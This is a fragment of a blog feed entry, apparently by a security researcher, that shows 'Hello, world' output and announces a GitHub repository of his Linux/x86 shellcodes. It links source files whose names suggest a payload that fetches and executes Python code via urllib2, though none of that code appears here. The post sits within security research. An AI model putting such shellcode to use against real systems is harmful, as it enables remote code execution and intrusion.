&lt;pre class=&quot;brush: plain&quot;&gt;Hello, world&lt;/pre&gt;
Now, I have also decided to open a GitHub repository to host the collection of shellcodes that I have written in the past, as well as any that I may write in the future.&lt;br /&gt;
I have committed both &lt;a href=&quot;https://github.com/ikotler/shellcode/blob/master/linux-x86-src/python-execve-urllib2-exec.s&quot;&gt;.S&lt;/a&gt;, and &lt;a href=&quot;https://github.com/ikotler/shellcode/blob/master/linux-x86/python-execve-urllib2-exec.c&quot;&gt;.C&lt;/a&gt; versions of this shellcode to it, as well as the rest of the shellcodes from the tarball.&lt;br /&gt;
&lt;br /&gt;
The repository can be found at: &lt;a href=&quot;https://github.com/ikotler/shellcode&quot;&gt;https://github.com/ikotler/shellcode&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Feel free to fork, and if you wish, to submit a pull-request and fix bug or suggest a change.</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/490828630293299518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2012/05/linuxx86-execve-python-interpreter-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/490828630293299518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/490828630293299518'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2012/05/linuxx86-execve-python-interpreter-with.html' title='Linux/x86 Execve Python Interpreter with a Python Program Passed in as String Shellcode'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry></feed>